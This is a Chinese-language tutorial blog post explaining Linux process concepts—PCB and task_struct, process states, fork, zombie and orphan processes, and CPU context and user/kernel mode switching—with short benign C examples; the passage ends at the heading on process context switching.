Linux操作系统 - 从概念上认识进程

news2024/11/28 12:52:58

目录

前置知识

冯诺依曼和现代计算机结构

操作系统的理解

进程的概念

进程和PCB

查看进程信息的指令 - ps

进程的一些特性

进程标识符 - PID

进程状态

进程状态的概念

Linux下的进程状态

父子进程

子进程的创建 - fork

僵尸进程

孤儿进程

进程切换

CPU上下文切换

浅析用户态和内核态

进程上下文切换

进程优先级与进程调度

进程优先级

进程调度算法

Linux具体的进程调度


前置知识

在学习操作系统之前我们需要先了解一下如下的预备知识。

冯诺依曼和现代计算机结构

美籍匈牙利科学家冯·诺依曼最先提出“程序存储”的思想,并成功将其运用在计算机的设计之中,根据这一原理制造的计算机被称为冯·诺依曼结构计算机。由于他对现代计算机技术的突出贡献,因此冯·诺依曼又被称为“现代计算机之父”。程序存储是指:指令以代码的形式事先输入到计算机的主存储器中,然后按其在存储器中的首地址执行程序的第一条指令,以后就按该程序的规定顺序执行其他指令,直至程序执行结束。结构示意图如下

早期的冯诺依曼模型是以运算器为核心,由输入设备将数据和相关的指令传递给运算器,之后先将数据放到存储器,然后运算器将数据处理完成之后再传递给输出设备。而这整个过程的协调和分配就是由控制器来控制的。
但是这样会有一个很严重的缺陷,就是运算器的速率会被输入输出设备大大的影响。在微处理器问世之前,运算器与控制器分离。而且存储器容量小,因此设计成以运算器为中心的结构,其他部件都通过运算器完成信息的传递,也就是上图的样子。
而随着微电子技术的进步,同时计算机需要处理的信息也越来越多,大量I/O设备的速度和CPU的速度差距悬殊,因此需要更新换代计算机的组织结构以适应新的需求。计算机发展为了以存储器为中心,使I/O设备尽可能的绕过CPU,直接在I/O设备与存储器之间完成操作,以提高整体效率。由此便产生了现代主流的计算机结构,结构示意图如下

可以看到,当代的计算机结构是以存储器为核心的,输入设备将信息传递给存储器,然后由存储器将信息传递给运算器,运算器处理完数据之后再传回存储器,最后由存储器将数据传递到输出设备。其中,控制器和运算器共同组成我们现在耳熟能详的CPU。
可以看到,现代的计算机结构是以存储器为核心的,这样就实现了运算器只与存储器之间进行交互,大大提高了运算器的效率。

我们可以把上面的结构抽象为下面的简化图,这样CPU和主存储器(也就是我们的内存)就组成了我们专业术语上的主机,而其它的任何输入输出设备都叫做外设。

其次,我们还需要介绍一下存储相关的知识的,首先是存储设备的层级结构:

下面的内容选自《深入理解计算机系统(第三版)》


实际上,每个计算机系统中的存储设备都被组织成了一个存储器层次结构,如图下图所示。在这个层次结构中,从上至下,设备的访问速度越来越慢、容量越来越大、离CPU越来越远,并且每字节的造价也越来越便宜。寄存器文件在层次结构中位于最顶部,也就是第0级或记为L0。这里我们展示的是三层高速缓存L1到L3,占据存储器层次结构的第1层到第3层。主存在第4层,以此类推。

特别的,主存储器主要由RAM和ROM组成,而RAM主要有DRAM和SRAM两种。其中,内存条就是DRAM集成的,也就是俗称的运行内存。而像SRAM、CACHE等高速缓存和寄存器一般是被集成在CPU中的。至于ROM,一般被嵌入在主板中,存储了BIOS等一些很重要的程序。关于RAM和ROM的一些区别,感兴趣的可以参考这篇文章:RAM和ROM的区别(转) - 知乎 (zhihu.com)

操作系统的理解

操作系统所处的位置大致如下图所示

可以看到,操作系统是处于一个“承上启下”的位置,用于处理用户和硬件程序之间的交互功能。

首先,操作系统的本质其实就是一款软件,它是我们的计算机启动时第一个启动的软件。如果细究的话,操作系统其实是由主板上ROM存储中的或是其它硬件中的一些程序启动的。感兴趣的话可以试着阅读这篇文章:操作系统是如何启动起来的? - 知乎 (zhihu.com)

由于操作系统的本质其实就是一款很大的软件,所以是无法直接在操作系统上操作键盘、鼠标、音响(甚至是主存储器和CPU)等硬件的。那么为了实现硬件与操作系统这款软件之间的交互操作,于是便有了”驱动程序“这个中介,驱动程序将硬件的信息的方法等组织封装起来然后打包提供给操作系统(这些一般是嵌入式的活)。正是由于驱动程序的介入,使得操作系统可以像处理文件那样与我们的硬件进行交互,同时这也应证了”Linux下一切皆文件“的这句经典名言。通常情况下,很多人认为主存储器和CPU与操作系统之间没有驱动,实际上并不是没有驱动,而是由于安全和便捷等因素的考虑,一般把CPU和主存储器的驱动程序内嵌在主板和操作系统中(这也就是为什么有些CPU或内存条在某些主板上不适配的原因之一)。所以,有了驱动程序这个中介,操作系统就可以按照我们的需求与硬件之间进行交互了。

那么操作系统又是怎么和用户或者应用软件之间进行交互的呢?这里就不得不提一下“系统调用”了。虽然操作系统能够以它能理解的方式操作硬件了,但是为了防止用户的一些危险操作,并且使得用户/程序员能够以一种方便、易于理解的方式来操作这些硬件设备,最终操作系统会提供给我们一系列的操作接口,这些接口就是所谓的“系统调用”。系统调用给了上层程序一个清晰的接口,隐藏了内核的复杂结构,这些接口使得我们能够以一种简单并且安全的方式访问我们的硬件程序。特别的,我们没有能够与CPU之间进行交互的系统调用,只有与内存之间进行交互的系统调用,这是因为CPU是严格按照一些既定的规则来处理日常的这些指令、操作的(些指令基本上都来源于内存或者寄存器),所以我们根本就不能而且完全没必要与CPU之间进行交互。可以理解为CPU就是一个计算机的大脑,他有自己的想法,不需要我们去教它做事。

不过由于系统调用非常的基础,所以有时使用起来也是很繁杂的,比如一个简单的给变量分配内存空间的操作,就需要动用多个系统调用。所以在系统调用的基础上又有了库函数和外壳程序等工具。操作系统会将一些编程中常用操作所对应的系统调用封装成对应的库函数,以供开发者的使用,这大大的提高了编程效率和学习成本,比如C语言中的malloc函数,看似只是一个函数,实际上却调用了大量的系统调用的接口。(实际上,一个操作系统只要称得上是Linux系统,必须要拥有一些库函数,比如ISO C标准库,POSIX标准库等)。至于外壳程序(shell),如果我们在使用操作系统的时候,每执行一个简单的操作都需要我们手动的去调用大量的系统调用的话,那么即使是一些很专业的开发者也会不堪重负。因此,便有了Windows下的图形化界面和Linux下像bash这样的命令行解释器,每当我们在Windows下点击鼠标或者是在Linux下输入以下指令,其背后都是调用了大量的系统调用的。其实,shell外壳程序可以看作是一种特殊的软件,它为我们封装了大量的系统调用,为我们提供了一种高效、稳定、安全的操作环境。

我们日常生活中说的操作系统是包含了系统内核、系统调用、shell外壳这些内容的。而严格意义上讲,操作系统的内核不包含所谓的系统接口、库函数等内容,如下图所示。也就是说,我们日常在Windows下看到的那个图形化界面并不属于操作系统的内核,他只是一种套在系统内核上让用户可以快速上手的外壳程序。正是因为有了这个图形化界面,于是便有了一系列的可以运行在这图形化界面环境下的应用程序,诸如我们日常使用的QQ、bilibili、Steam等。我们可以在外壳程序的基础之上快速上手使用这些应用程序,而不是打开一个软件之前还需要我们手动的去调用大量系统接口。

至此,我们知道了操作系统对下是通过一系列的驱动程序来调度硬件设备的,对上提供一系列安全、稳定的系统调用。人们又将这些系统调用封装为一些库函数或者便于使用的shell外壳,而在外壳程序之上又衍生了一大批的应用程序。而操作系统的一个很重要的任务就是管理和调度这些上下层以及操作系统本身的软硬件资源。我们人为地将操作系统的管理功能进行分类,其中较为常见的有内存管理、进程管理、文件管理和驱动管理这么几类。下面我就就先针对进程管理进行介绍。

进程的概念

进程和PCB

可执行程序的运行首先是需要加载或者说是拷贝到内存中的,然后由CPU去读取和处理内存中对应区域的二进制指令。广义上讲,进程就是程序加载到内存。也就是说可以认为我们平时运行的可执行程序和控制台窗口执行的指令(指令也是进程)加载到内存之后就叫做进程。但严格意义上讲,并没有这么简单,一个的描述是:进程=可执行程序+内核数据结构,其中这个内核数据结构中就包含了进程的PCB,进程PCB被称为"操作系统感知进程的唯一实体"。那么何为PCB呢?下面是一段对PCB的介绍(摘自百度百科):

为了描述控制进程的运行,系统中存放进程的管理和控制信息的数据结构称为进程控制块(PCB Process Control Block),它是进程实体的一部分,是操作系统中最重要的记录性数据结构。它是进程管理和控制的最重要的数据结构,每一个进程均有一个PCB,在创建进程时,建立PCB,伴随进程运行的全过程,直到进程撤消而撤消。

那么为什么要引入这个PCB呢?简单来说就是为了便于对进程进行统一的管理和描述。因为可执行程序的具体实现五花八门,操作系统无法对每一个进程做到做监控,而操作系统又需要对进程进行统一的管理,于是PCB便诞生了。PCB就相当于是一个信息收集表,表中是和进程相关的一些数据,如进程标识符、进程状态等信息。这样操作系统就不需要对每一个进程做到实时监控,而是只需要通过分析处理进程所对应的PCB中的信息即可,例如下图所示。这就像学校为了管理学生的体质情况会进行体测,最终的体测结果填入统一的项目表中,最终学校只需要分析和处理我们对应的体测表信息就可以了,而不是每次想要查看某个同学的体测结果时都要去调监控。

而PCB是进程控制块的一个统称,不是具体的一个实例。我们知道,Linux是用C语言写的,所以在Linux下PCB其实就是一个名为task_struct的结构体。而PCB与task_struct的关系,就和shell与bash的关系一样,是一类东西的名称和具体实例的关系。

查看进程信息的指令 - ps

在Linux下我们通常使用ps指令来获取一个进程的各种信息,具体使用细节见ps命令 – 显示进程状态 – Linux命令大全(手册) (linuxcool.com)icon-default.png?t=N7T8https://www.linuxcool.com/ps通常使用组合就是 ps -ajx、ps -aux、ps -al。用法示例如下:

ps aux | grep test  # 列出所有进程,并筛选含有"test"条目的信息

需要注意的是,ps指令带不带杠是不一样的,官方的解释如下:

Note that "ps -aux" is distinct from "ps aux".  The POSIX and UNIX standards require that "ps -aux" print all processes owned by a user named "x", as well as printing all processes that would be selected by the -a option.  If the user named "x" does not exist, this ps may interpret the command as "ps aux" instead and print a warning.  This behavior is intended to aid in transitioning old scripts and habits.  It is fragile, subject to change, and thus should not be relied upon.

大致意思就是:

带扛的(例如ps -al),筛选所有终端机下执行的程序,除了阶段作业领导者之外。
不带杠的(例如ps al),筛选现行终端机下的所有程序,包括其他用户的程序。

进程的一些特性

如下是与进程相关的一些特性理解:

  1. 并发:多个进程在同一个CPU下采用进程切换的方式,在一段时间之内,让多个进程都得以推进,使得我们从宏观上感受这几个进程是在同时进行的,这就叫做进程并发。
  2. 并行:多个进程在多个CPU下分别同时执行,这称之为并行。注意,并行只有多个CPU的情况下才行,CPU的多核是与多线程有关的,与并行无关。
  3. tips - 并发和并行的区别:并发是单个CPU频繁切换进程,使得我们认为感受上是多个进程在同时运行,但实际上每个时间只有一个进程在运行。而并行就是真正的多个进程同时运行,其中,有多少个CPU就可以同时运行几个进程。
  4. 进程的竞争性:一般情况下操作系统中的进程数量非常的多,而CPU资源却是有限的(家用电脑通常只有一个CPU),所以进程之间是具有竞争属性的。为了高效完成任务,更合理竞争相关资源,便具有了进程优先级、调度算法等一系列分配规则。
  5. 进程的独立性:多进程运行时,需要独享各种资源,保证运行期间每个进程都是相互独立、互不干扰。通常是用一些虚拟技术来实现每个进程的独立性。
  6. 进程的动态性:进程的动态性通常体现在如下两个方面。首先,进程是动态产生、动态消亡的。其次,在进程的生存期内,其状态是处于经常性的动态变化之中的。
  7. 进程的异步性:每个进程都以其相对独立、不可预知的速度向前推进。至于进程的异步性是如何体现的可以参考:进程的异步性-CSDN博客
  8. 进程的结构性:每个进程都有一些抽象化的内核数据结构(例如PCB),以便操作系统统一化的管理。

进程标识符 - PID

进程标识符,又名pid、进程号等,是当前OS中每个进程唯一的标识符。PID是一个正整数,取值范围一般是 2—32768, /proc/sys/kernel/pid_max 文件中的内容就是最大可支持的进程个数。

我们知道,Linux是用C语言写的,所以在Linux下,我们可以在C语言编程时使用对应的getpid这个库函数来获取一个进程的pid。

其中, sys/types.h 是 pid_t 这个类型声明的头文件,而getpid()函数是在 unistd.h 头文件中的。getpid函数直接返回一个pid_t类型的当前进程号,这个pid_t就是某个整型类型的声明,因为这是封装好的库函数,所以用法上就和C语言中普通的函数调用一样。


在Linux中,内存管理的一系列进程的PCB信息都是统一存放在 ./proc 目录中的,例如:

其中,这些数字形式的目录就是对应的进程,而且这些目录的中的内容格式都是一致的,例如下面是目录内容的部分截图:

值得一提的是,cwd和exe这两个链接文件分别指向自己所在的工作目录和具体的路径位置,这也就是为什么我们可以采取相对路径的方式输入指令,因为指令创建的进程所在的地址是可以通过对应的链接符直接找到的。其中,可以使用chdir库函数实现改变工作目录,具体用法就不再过多赘述,感兴趣的可以自行查阅相关资料。

暂且可以认为这些目录中的信息就是进程所对应的PCB信息。与一般目录不同的是, /proc 目录下的信息内容是动态的,当有进程被创建时,就会向其中增加对应的目录信息,文件名一般就是其对应的PID。而有进程结束时, /proc 目录下就会随之删除对应的信息。

进程状态

进程状态的概念

想要描述一个进程,一个必不可少的信息就是进程状态,我们需要知道进程当前是在运行、还是被终止了,亦或是其它状态,所以PCB中一个必不可少的信息就是进程的状态。那么以Linux为例,Linux中对上述描述的具体实现就是 task_struct 结构体中的 state 变量,如下图所示,task_struct中的第一个就是state。

参考 Linux 2.6.39 版本

而PCB对进程各种状态的描述,就是state对应了不同的变量,例如:

参考 Linux 5.2 版本

也就是说,仅从PCB的角度来看待进程的话,那么所谓的进程状态,其实就是一些提前定义好的数据,进程处在哪个状态,对应的state变量就切换成对应的值。进程状态切换时,PCB中其实就只是修改了state变量的值而已。

那么从操作系统的角度来看,进程状态又是怎么一回事呢?以操作系统的视角来看,进程大致有如下新建、就绪、运行、阻塞、挂起、结束等几个状态。

下面我们就简单的从概念层面上介绍这几个进程状态

  1. 新建状态:新建状态也常被称作创建状态,顾名思义,新建状态就是执行进程创建相关的工作。此时,操作系统会执行但不限于如下操作:为新进程申请一个空白PCB、为新进程分配其运行所需的资源、初始化PCB中的相关信息(例如PCB的state变量)。
  2. 就绪状态:当进程的创建操作完成之后,并不是马上将其PCB放到运行队列中,而是先把它放到就绪队列中(并修改PCB的state变量),等待操作系统的调度分配(具体是如何调度的与进程的优先级和系统的调度算法等有关,暂时不展开讨论),此时进程的状态就是就绪状态。
  3. 运行状态:一般情况下,进入到就绪队列中的PCB基本上都会被调度到CPU的运行队列中(并修改PCB的state变量),此时CPU会逐条执行处于运行队列中PCB所对应可执行程序中的二进制代码。那么此时进程所处的状态就是运行状态。值得注意的是,一个CPU只有一个运行队列,多个CPU可以有多个运行队列。
  4. 阻塞状态:一般来说,如果进程当前要获取的资源(软硬件资源)没有就绪,或者说进程当前无法获取到目标资源。那么此时这个进程的PCB就会被转移到对应资源的等待队列中,对应的state变量也会被修改。此时CPU的运行队列就没有了这个进程的PCB,那么也就无法去调度执行这个进程。那么此时的进程状态就叫做阻塞状态。
  5. 挂起状态:当系统资源紧张的时候,操作系统会对在内存中的资源进行更合理的安排,这时就会将将某些优先级不高的进程设为挂起状态,并将其移到内存外面,一段时间内不对其进行任何操作,当条件允许的时候,会被操作系统再次调回内存,重新进入等待被执行的状态即就绪态。
  6. 结束状态:顾名思义,进程执行结束,操作系统为其释放对应的系统资源和执行一些清理工作的过程就叫做结束状态。

下面是与进程状态一些相关的内容:(有点杂乱,可以直接跳过)

  1. 操作系统在管理硬件资源时,也有对应的硬件信息队列(只是提一嘴,不细究),这些硬件资源的管理和PCB的运行队列类似(虽然实际情况肯定不是这样的,但却是以这种形式为基础的,所以可以这样描述),当硬件资源就绪时,进程就可以正常访问、获取进程想要的资源,而如果硬件资源没有就绪时,那么前来访问资源的进程就会被安排在对应资源的等待队列中,当资源就绪时,进程获取资源,对应的PCB再回到CPU的运行队列,就又可以被CPU重新调度。其中,每一个硬件都有其对应的等待队列,所以并不是只有一个等待队列。所以当我们运行了多个进程,这些进程有时可能会访问一些共同的资源时,就可能会出现我们感受到的卡顿现象。而且,操作系统中,存在着各种各样的队列,不止CPU的运行队列和各种硬件的等待队列。
  2. 挂起状态的实例 —— 阻塞挂起:阻塞挂起的操作是,将内存中的代码和数据先暂存到外存设备的某些特定区域(如硬盘的swap区),只留一个很小的PCB放在内存中(当然也会修改对应的state变量),当进程被唤醒时再次重新被加载到内存。这样做肯定会造成速度降低,但有时却不得不这样做。例如当所剩的内存资源严重不足时,操作系统就不得不暂时挂起一些阻塞队列中的进程来缓解内存的压力。
  3. 阻塞和挂起的区别:(参考:一文助你理解进程七态及挂起与阻塞 - 掘金)

    1、挂起是一个行为,而阻塞是进程的一种状态。

    2、进程的位置不同:挂起是将进程移到外存中,而处于阻塞状态的进程还是在内存的对应资3、源的等待队列中。

    4、产生的原因不同:挂起一般是由于可分配资源不足,迫使操作系统对一些进程采取挂起操作,抑或是用户指定某个进程挂起。而阻塞是进程正在等待某一事件发生,一般是等待资源或者响应等而暂时停止运行的状态。

    5、挂起是被动的行为,进程被迫从内存中移至外存中。而阻塞可以看成是一个主动的行为,主动的进入到对应资源的等待队列。

Linux下的进程状态

至此,我们简单的从概念的层面认识了进程的几种状态,那么接下来我们就以Linux为例,介绍一些具体的进程状态。(内容参考:Linux系统之进程状态-腾讯云开发者社区-腾讯云)

R:running or runnable (on run queue)
S:interruptible sleep (waiting for an event to complete)
D:uninterruptible sleep (usually IO)
T:stopped by job control signal
t:stopped by debugger during the tracing
W:paging (not valid since the 2.6.xx kernel)
X:dead (should never be seen)
Z:defunct ("zombie") process, terminated but not - reaped by its parent

1、R (TASK_RUNNING):运行或可执行状态

TASK_RUNNING,运行态和就绪态的合并,表示进程正在运行或准备运行,因为CPU的运行速度非常快,所以运行状态和就绪状态之间的空隙时间很短,所以就统一用 R 状态表示了。

补充:很多教科书将正在CPU上执行的进程定义为RUNNING状态、而将可执行但是尚未被调度执行的进程定义为READY状态,这两种状态在linux下统一为 TASK_RUNNING状态

2、S (TASK_INTERRUPTIBLE):可中断睡眠状态

TASK_INTERRUPTIBLE,此时进程被阻塞,当等待的资源到来时即可唤醒。或者也可以通过其他进程信号或时钟中断唤醒,进入运行队列。这种睡眠状态是可中断的,即可以被kill掉的。

补充:通过ps命令会看到,一般情况下,进程列表中的绝大多数进程都处于 S 状态(除非机器的负载很高)。毕竟CPU就这么几个,进程动辄几十上百个,如果不是绝大多数进程都在睡眠,CPU又怎么响应得过来。

3、D (TASK_UNINTERRUPTIBLE):不可中断的睡眠状态

与TASK_INTERRUPTIBLE状态类似,进程处于睡眠状态,但是此刻进程是不可中断的。不可中断,也就是说处于这种睡眠状态的进程,哪怕是用户强制kill都不能让其强行结束。

补充说明:不可中断睡眠状态存在的意义就在于,内核的某些处理流程是不能被打断的。如果响应异步信号,程序的执行流程中就会被插入一段用于处理异步信号的流程(这个插入的流程可能只存在于内核态,也可能延伸到用户态),于是原有的流程就被中断了。 例如进程在对某些硬件进行操作时(比如进程调用read系统调用对某个设备文件进行读操作,而read系统调用最终执行到对应设备驱动的代码,并与对应的物理设备进行交互),可能需要使用TASK_UNINTERRUPTIBLE状态对进程进行保护,以避免进程与设备交互的过程被打断,造成设备陷入不可控的状态。这种情况下的TASK_UNINTERRUPTIBLE状态总是非常短暂的,通过ps命令基本上不可能捕捉到。

4、T (TASK_STOPPED):暂停状态

TASK_STOPPED,进程暂停执行,处于挂起状态,而不是阻塞状态。 例如通过向进程发送一个SIGSTOP信号(kill -19),它就会因响应该信号而进入暂停状态(除非该进程本身处于 D 状态而不响应信号)。

5、t (TASK_TRACED):跟踪状态

TASK_TRACED,此时进程被跟踪,“正在被跟踪” 指的是进程暂停下来,等待跟踪它的进程对它进行操作。比如在gdb调试中对进程打一个断点,进程在断点处停下来的时候就处于跟踪状态。而在其他时候,进程就还是处于正常情况,不是跟踪状态。

补充说明:对于进程本身来说,暂停状态和跟踪状态很类似,都是表示进程暂停下来。只不过跟踪状态相当于在暂停状态之上多了一层保护,处于跟踪状态的进程不能响应SIGCONT信号而被唤醒。只能等到调试进程通过一些系统调用执行对应的操作操作或是调试进程退出,被调试的进程才能恢复到其它状态。

6、Z (TASK_DEAD - EXIT_ZOMBIE):退出状态 - 进程成为僵尸进程

进程在退出的过程中,是处于TASK_DEAD状态的。在这个退出过程中,除了task_struct(PCB)之外,操作系统会将进程占有的所有资源进行回收。那么最后进程就只剩下task_struct这个空壳,所以被称为僵尸进程。

补充说明:之所以保留task_struct,是因为task_struct里面保存了进程的退出码、以及一些统计信息。而其父进程很可能会关心这些信息。例如父进程可以通过wait系列的系统调用(如wait4、waitid等)来等待某个或某些子进程的退出,并获取它的退出信息,而这个退出信息就是被保存在task_struct中的,之后wait系列的系统调用会顺便将子进程的尸体(task_struct)也释放掉。

6、X (TASK_DEAD - EXIT_DEAD),死亡状态 - 进程即将被销毁

一个进程即将退出,PCB随之也会销毁。所以死亡状态是非常短暂的,几乎不可能通过ps命令捕捉到,这里仅作为概念了解,日常生活中很少遇到。


案例分析:当编写如下的C语言的代码,并监视对应的进程时会发现,大多数情况捕获到的都是S状态。是因为CPU的执行速度非常快,而访问硬件资源或是文件等速度相对会很慢(例如代码中的printf函数),所以实际上处于R状态的时间是微乎其微的。当我们把printf和sleep都注释掉之后再去捕获进程状态,就会发现此时都是R状态了。

int main()
{

    while(1)
    {
       printf("我是一个进程,我的pid是: %d\n", getpid());
       sleep(1);
    }

    return 0;
}

内容补充:前台进程和后台进程

不难发现,有时进程状态后面还会跟一个加号 '+',这表示的是当前的进程是一个前台进程,前台进程占用着前台资源,所以此时是无法进行输入指令等操作的。而后台进程状态信息之后是没有那个加号的,后台进程不影响前台操作(后台进程无法Ctrl+C终止掉),所以还是可以进行输入指令等操作的。在Linux下,我们只需要在指令后加一个 '&',那么对应的进程就是后台进程。

父子进程

子进程的创建 - fork

在Linux中,我们通常使用fork函数来创建一个进程。其中,这个被创建的进程叫做当前进程的子进程,那么这个当前进程就是被fork创建的进程的父进程。

在前面我们知道,PID是一个进程的进程标识符。其实,还有一个对应的PPID,表示这个进程的父进程的进程标识符,也就是其父进程的PID,在Linux中我们通常用getppid()函数接口来获取一个进程的PPID信息,其用法和getpid()大同小异,这里就不再过多赘述了。

fork的用法示例如下:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
    fork();  
    printf("我是一个进程,我的进程PID是:%d 我的PPID是:%d\n", getpid(), getppid());

    return 0;
}

运行结果如下:

要点概述:

  1. fork的返回值是一个pid_t整型的值,根据不同的情况返回值是不同的。如果进程创建成功,那么父进程返回子进程的pid,子进程返回0。如果进程创建失败则返回一个负数。其中给父进程返回子进程的PID的原因是,这样做便于父进程对子进程的管理和监控。
  2. fork之后生成的子进程与其父进程谁先执行谁后执行是不确定的,这与操作系统的进程调度策略有关,不能一概而论。
  3. fork()的执行过程:申请PID → 申请PCB结构 → 复制父进程的PCB → 将子进程的运行状态设置为不可执行的 → 将子进程中的某些属性清零,某些保留,某些修改 → 复制父进程的页(用到了写时拷贝技术)。
  4. 有些地方会讲,“通过fork创建的子进程会拷贝父进程的代码段、数据段、静态数据段、堆、栈、IO缓冲区等信息”。但严格意义上讲并不是这么简单的,虽然从虚拟内存的角度来看,看似是将这些信息直接拷贝给子进程的。 但实际上这些内容并不是直接拷贝过去的,而是用到了一个“写时拷贝”技术:父子进程在初始阶段共享所有的数据(全局、 栈区、 堆区、 代码), 内核会将所有的区域设置为只读。 当父子进程中任意一个进程试图修改其中的数据时, 内核才会将要修改的数据所在的区域(页)拷贝一份。
  5. 父子进程代码共享,数据以写时拷贝的方式私有一份。父子进程虽然代码共享,但数据是各自独有的。这与操作系统的虚拟内存机制有关,这样的机制保证了父子进程独立运行互不干扰。
  6. 为什么子进程在创建之后是在fork之后的位置开始的,而不是从代码开始的位置开始的呢?原因也很好理解:子进程拷贝父进程的PCB,而父进程在执行时,PCB中存储了程序计数器与上下文信息等内容,因此虽然父子进程代码共享,但子进程并不会从main函数的入口处开始执行,而是同父进程的运行位置开始执行。
  7. 一般来说,所有命令行下执行的指令都是 shell/bash 的子进程。
  8. 虽然子进程完全拷贝父进程的PCB,但这父子进程的PCB并不是同一个。
  9. 为什么有父子进程?也就是说,创建子进程有什么作用?子进程与父进程有着很强的关联,但其运行过程并不影响父进程,因此子进程也被称为父进程的守护进程。当一个进程需要做一些可能发生阻塞或中断的任务,父进程可通过子进程去做,来避免自己进程的崩溃。
  10. 父进程只对子进程负责(执行回收PCB等操作),不对孙子进程负责。

上述内容-部分参考:

  1. Linux 进程概念——父子进程、僵尸进程和孤儿进程-CSDN博客
  2. 通过fork创建的子进程会拷贝父进程的……
  3. Linux系统——fork()函数详解(看这一篇就够了!!!)_fork函数-CSDN博客

僵尸进程

一个进程(一般是指子进程)在退出的过程中,会先将将系统资源(内存、外设等)归还给操作系统,然后只留下一个进程的PCB信息。也就是说此时的进程在内存中只剩下的PCB这一个空壳了,那么进程此时的状态就叫做僵尸状态,那么这个进程就是一个僵尸进程(进程只剩下了一具躯壳,就像一个僵尸一样,所以叫僵尸进程)。简单来说,僵尸进程即:子进程资源已经释放,但其父进程还没有回收这个进程的PCB,这个期间的进程就叫做僵尸进程。网上常见的解释是:

一个进程使用fork创建子进程,如果子进程退出,而父进程并没有调用wait或waitpid获取子进程的状态信息,那么子进程的进程描述符仍然保存在系统中。这种进程称之为僵死进程。

此时这个PCB不能立即释放,因为里面还存放着进程的退出状态等信息,这些PCB信息需要由其父进程回收之后才会释放。父进程在读取了PCB中的相关退出信息或者说回收了对应的PCB之后,会先把PCB中的进程状态信息状态改为X,然后才会把PCB退出。而且,僵尸进程是无法通过kill命令杀掉的,所以,如果不及时对僵尸进程的PCB进行回收,那么就需要一直维护着这个PCB,进而会造成内存泄露。
而且,子进程退出时,会为父进程发送一个信号,父进程需要主动捕捉这个信号才能回收子进程的PCB信息,但是当父进程正处于运行状态(R)或睡眠状态(S)时,是无法接收子进程的退出信号的, 那么子进程的退出状态信息也就无法被回收,所以对应子进程的PCB可能会长时间占用内存资源,这就可能导致内存泄露的问题。实例演示如下:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>


int main()
{
    int fid = fork();

    if(fid != 0)
        sleep(1000);
    else   
        _exit(2);

    return 0;
}

监测其进程状态为:

孤儿进程

孤儿进程很好理解,就是如果父进程比子进程先退出,那么这个子进程就变成了孤儿进程。而在Linux中,孤儿进程都会被操作系统的1号进程(init)领养,这个1号进程(init)是所有用户的所有进程的共同祖先,暂且认为这个1号进程(init)就相当于是进程中的“造物主”。想了解更多关于这个1号进程的内容,可以参考这篇博客:linux的0号进程和1号进程 - AlanTu - 博客园 (cnblogs.com)

注意事项:

  1. 与僵尸进程不同的是,孤儿进程是没有孤儿状态一说的。
  2. 如果父进程提前退出,那么其子进程(孤儿进程)会自动变成后台进程。即孤儿进程运行在后台。
  3. 孤儿进程一定会被1号进程领养,不存在无主的孤儿进程的这种情况。这是因为:如果不对孤儿进程领养,就没有进程对这个孤儿进程回收,那么必然就会导致内存泄露。
  4. 因为孤儿进程一定会被领养,所以孤儿进程是不会由内存泄露的危险的。

进程切换

CPU上下文切换

Linux是一个多任务操作系统,它支持远大于CPU核心数的任务同时进行。当然,这些任务并不是真的同时在运行,而是因为系统在很短的时间内(一般人无法感觉到的毫秒级别的时间),将CPU资源轮流分配给它们,造成多任务同时运行的错觉(也就是进程的并发)。
每个任务在运行前,CPU都需要知道任务从哪来加载,又从哪里开始运行,也就是说,需要事先帮它们设置好CPU寄存器和程序计数器。关于CPU寄存器和程序计数器的相关内容如下:

  • CPU寄存器:是CPU内置的容量小、但速度快的内存,用来临时存放指令执行运行过程中的操作数和中间(最终)的操作结果。
  • 程序计数器:是用来存储CPU正在运行的指令位置、或者即将执行的下一条指令位置。

 由于寄存器的种类繁多,所以这里就不再细说了,对此感兴趣的话可以参考下面这篇博客:一口气看完45个寄存器,CPU核心技术大揭秘 - 知乎 (zhihu.com)

因此我们知道了:CPU寄存器和程序计数器,是CPU运行任何任务时必须依赖的环境。同时也被称作CPU上下文。那么,“寄存器只有一个,但寄存器数据却可以有多组”这句话就很好理解了。所以,CPU上下文切换就是把CPU寄存器和程序计数器中的内容进行切换,大致过程如下:

把前一个任务的CPU上下文(CPU寄存器和程序计数器的内容)保存起来,然后加载新任务的上下文到这些寄存器和程序计数器中(通常是以覆盖的方式加载),最后再跳转到程序计数器所指的新位置,运行新的任务。而这些保存下来的上下文,会存储在系统内核中,并在任务重新调度执行时再次加载进来。这样就能保证任务原来的状态不受影响,让任务看起来还是连续运行。

内容摘自:进程切换原理 - 林锅 - 博客园

浅析用户态和内核态

Linux按照特权等级,把进程的运行空间分为内核空间和用户空间,也就是内核态和用户态。一些特殊的库函数调用调用,如open()打开文件等,需要切换到内核空间运行,用户空间是没有权限调用这些的。也就是说,进程既可以在用户空间运行,又可以在内核空间运行。在用户空间运行即为用户态,而陷入内核空间的时候,即为内核态。这种从用户态切换到内核态时,必须经过系统调用来完成。简单概括来说:

内核态:内核态是操作系统拥有最高特权级别的状态。在内核态下,操作系统可以直接访问计算机的所有硬件资源,包括内存、CPU和设备。它可以执行特权指令,直接操作硬件,修改系统配置,并且响应各种中断。

用户态:是应用程序和普通任务运行的状态。在用户态下,程序只能访问受限的资源和指令集。它不能直接操作硬件设备,也无法执行特权指令。即用户态下的程序运行在受限的环境中,不能对系统的核心部分进行直接操作。

所以其实我们的进程在运行时,有时是需要进行内核态和用户态之间的转换的。大致过程如下:

系统调用需要上下文切换。切换时,先保存CPU寄存器里原来用户态的指令位置。接着,为了执行内核态代码,CPU寄存器需要更新为内核态执行的新位置。最后才是跳转到内核态运行内核任务。系统调用结束后,CPU寄存器需要恢复原来保存的用户态,然后再切换到用户空间,继续运行进程。所以一次系统调用的过程,其实发生了两次CPU上下文切换。需要注意的是,系统调用过程中,并不会对虚拟内存等进程用户态的资源产生影响,也不会进行切换进程,这跟我们通常说的进程上下文切换还是有所区别的。所以,内核态和用户态之间的切换通常称为特权模式切换,而不是上下文切换。但实际上,系统调用过程中,CPU的上下文切换还是无法避免的。

—内容出处:进程切换原理 - 林锅 - 博客园

进程上下文切换

